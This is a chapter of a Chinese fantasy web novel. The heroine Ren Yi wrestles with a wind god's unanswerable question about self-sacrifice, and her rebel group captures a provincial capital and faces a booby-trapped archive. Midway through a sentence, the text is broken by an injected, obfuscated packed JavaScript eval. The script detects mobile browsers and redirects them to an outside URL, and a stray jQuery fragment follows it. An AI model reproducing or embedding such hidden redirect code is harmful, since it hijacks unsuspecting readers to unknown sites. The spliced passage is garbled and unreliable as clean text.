146.怪树
作品:《废墟上的小树苗》 面对最后一个刁钻的问题,任逸愣住了。商场外面形形色色的人走过,却没有人注意到他们,他们身处于风神设下的结界中,不会有任何人打扰,也不会有任何人能为她提供参考答案。
任逸张了张嘴,却发现自己无法立刻给出一个干脆的“愿意”。在她根深蒂固的观念里,生命永远是至高无上的,她实在无法用数量去简单的衡量和取舍。她依稀记得早在三年前,她刚刚在帝都通过了特级治疗师考试,顺理成章地参与治疗师大会时,曾被方强山提问过类似的问题,只是时间太过久远,她居然想不起那问题究竟是什么了,也完全不记得自己当初是如何回答的。
人的想法总不可能一成不变的,为了救大多数人而牺牲少数,即使牺牲的是自己,这种抉择本身就与她“想要所有人平安”的初衷相悖。
任逸陷入了短暂的沉默和挣扎:“……不愿意?”
渠挑眉看着她,那张早已习惯了风吹日晒的脸因为他的动作而陷出一道皱纹。“你是在问我吗?”
听他这么说,任逸觉得这个答案也许不对,毕竟很多故事里拯救世界的主角都是要付出生命的,于是她试探着修改了答案:“愿意。”
渠看着她纠结的神情,摇了摇头:“很遗憾,你的答案不对。”
任逸再次改口:“不愿意!”
渠淡淡道:“不对。”
任逸郁闷:“愿意不对,不愿意也不对,我到底该怎么回答?”
渠没有为她解答这个问题,他不再理会这三人,转身向超市门口走去,就仿佛刚才的一切从未发生过。
然而就在他转身的一刹那,一段被微风带来的、从未公诸于世的往事,悄然飘入了任逸耳中。
“几年前,T市一中有一个女孩,她曾无意间伤害了你。当她得知你遭受了何种痛苦时,为时已晚,她没能救出你,只能让这份悔恨长久的根植于心底。”渠的声音里带着遥远的追忆,仿佛那个女孩在他的生命中也留下了浓墨重彩的一笔,“后来,也不知道她是怎么猜到我这个保安不太寻常的,居然跑过来找我,哭着求我帮忙找到你。”
任逸愣住了,她的整个高中时光几乎都是围着慕容拓转的,没有什么知心朋友,也没有值得她记住的某些找过她麻烦的人。但不知为何,她的脑海中忽然闪过一个女生的身影,她与那姑娘一共也没说过几句话,之所以能记住对方,只是因为那时候……慕容拓喜欢她。
任逸早不记得她长什么样子了,更是连名字也想不起来,但一种直觉告诉她,风神大人说的就是那个姑娘。
风神没有回头,他的声音混在风里,异常清晰:“我问她找你做什么,是想道歉还是想报复。她说……她只是想知道你离开学校之后过得好不好,有没有被那些事情影响,是不是真的开心。”
任逸沉默了。这个问题如果放在当时,她都不一定能答得上来,而现在更是不知道该如何回答。过得好不好?她毕业以后就来到了Z市大学,成为了调查部的一员,在实现自己人生价值的同时也的的确确忙得要命。是不是真的开心?她和调查部的同伴们在一起时的确有过开心,在天雪山面对那些和善的妖族时也一样感到轻松惬意,可是……如今局势动荡,那种开心,怕是短期内找不回来了。
“她只想知道你过得好不好,而你现在却连好与不好都分不清了。”一道神力顺着微风飘过来,落在任逸的眉心,带着她印象里那位保安大叔特有的慵懒与温和,“第三道题从来都没有正确答案,你的犹豫,对不起那个女孩的执念,也对不起当年在灾难中等待救援的自己。”他拒绝的并非某一个答案,而是任逸整个信念体系中那个被忽略的“自我”。
任逸感受到那力量穿透她的大脑,带着神明独有的强大威严,驱散了因为药物而导致的思维僵化——毒素解除了!
风神大人的身影融入人群,只留下他们三人怔在原地。任逸始终认为自己活着的意义是救助和守护更多人,让生命脱离苦难,但她似乎从未深思过这份守护的根基,是否包含了她对自身的全然接纳与珍视。任逸以前总觉得自己是个怪人,她不懂什么是感情,直到后来尹巷告诉她,她其实是一棵树。植物本来就没有感情,她这样说服自己接受如今的状态,却又不得不承认在与同伴们的相处中,她似乎产生了与其他植物妖不太一样的……情感链条。
任逸是个怪人,同时她也是一棵怪树。
慕容拓的加入,无疑为反抗军团的力量注入了强心剂,全球格局也因此悄然发生了改变,这些改变当然逃不过国内各省市的眼睛,周边越来越多的市民选择拥护调查部。他们中大部分人其实并不了解所谓的巫族与巫王,只是审时度势,判定帝都除妖军团命不久矣,于是选择了尽早站队。
几天后,凭借着李倩精准的情报,和桃酥酥与王澳辉共同制定的战术,组织很快找到了省会防御体系的薄弱环节,一举攻破。在以往调查部向着帝都前进的路上,并非完全没有遇到过不得不交火的情况,只是难得打的这么激烈,毕竟他们也是用上了慕容拓提供的各种新型武器,而不是仅仅靠几个巫族在前面撑场子。
在交火的过程中,调查部顺利摧毁了省会的重型武器库和几个关键的补给节点,极大削弱了其持续作战的能力,这场仗打得毫无悬念,却又莫名的令人心悸。
胜利的喜悦并未弥漫在每一个人的心头,自从踏入这座曾经象征着秩序与权威的省会城市,李倩的脸色就一直阴沉着。
她望着市政厅上方那面依旧飘扬、却已显得陈旧的政府旗帜,以及旁边悬挂的象征着除妖军团的小旗,声音沙哑地对王澳辉开口:“哥哥他生前总说,政
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16737451|177517||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
府是咱们人族的最后一道底线,也是维护和平的希望。”国内始终实行政府与军团共同治理的政策,军团说白了只是效忠于领袖,而政府才是真正代表着人族的。只是近几年来,军团的势力愈发强大,领袖的手甚至都伸到了海外,相较之下,政府自然就显得透明了许多。
“哥哥是那样相信政府的,可他最终这也是死在政府和军团的联合阴谋之下。”李倩无力的坐在椅子上,“我不明白,为什么这些代表着‘正统’的人,会选择和军团站在一起,把枪口对准我们?大家身体里流的,不都是人类的血吗?明明好不容易缓和了人族和妖族之间的关系,现在倒好,人族自己搞起了内斗。刚才那场仗赢了,但看着咱们的同胞倒在自己面前,这种滋味……如果哥哥在的话,他会怎么办呢?”
这个答案注定不会有结果了。
李倩的痛苦,也是在场许多人心底的阴霾。战争从来都不是简单的善恶对决,而是信念与信念之间的抗衡,它意味着流血和牺牲,意味着我们要对昔日的同胞刀剑相向。
组织在这里休整了几天之后,任逸等人风尘仆仆地赶了回来。他们在这一路上就听说了组织已经成功攻下省会的好消息,越过这条护城河,紧接着就能直达帝都了。
得知任逸回来以后,一直埋头搞研究的杨琴终于有机会提供线索:“政府资料室的门是用特殊材质做成的,输错了密码就会导致里面发生爆炸,到时候全部的资料估计都会被销毁。我们这几天一直在研究这个问题,在这里办事的人都已经死了,没人敢冒这个险。”
所谓富贵险中求,这种密室里藏着的东西绝对十分重要,可问题就在于如何在爆炸中保住整个屋子里的资料。
任逸道:“为什么不试试直接在墙上开一个洞?”
杨琴道:“很遗憾,政府为了防止这种事情发生,将门锁的引线联通了四面墙,甚至包括了天花板和地板。我们商量过之后只能得出一个结论,那就是等你回来。”
任逸扯了扯嘴角,这是真拿她当护盾用了?她的树枝的确防爆,但是不防火啊!
就在她准备推拒这个艰难的使命时,刘羽琦来到了会客厅,她显然已经听到了里面两人的对话。“那个密码,我知道。”
任逸终于心领神会,原来杨琴所谓的“等她回来”并不是为了让她铸造出一个防爆空间,而是拿她当感情牌用了。
刘羽琦从一开始就知道资料室的密码,只是始终不愿意告诉他们。而任逸就不一样了,在刘羽琦的认知里,任逸首先是她的朋友,其次才是调查部的同伴,这一层关系是调查部中任何人都无法替代的。
刘羽琦坦言道:“我知道你们一直在怀疑我的站位问题,从李倩和王澳辉不再给我分配重要任务的时候,我就知道了。正好也趁此机会跟你们澄清一下。”

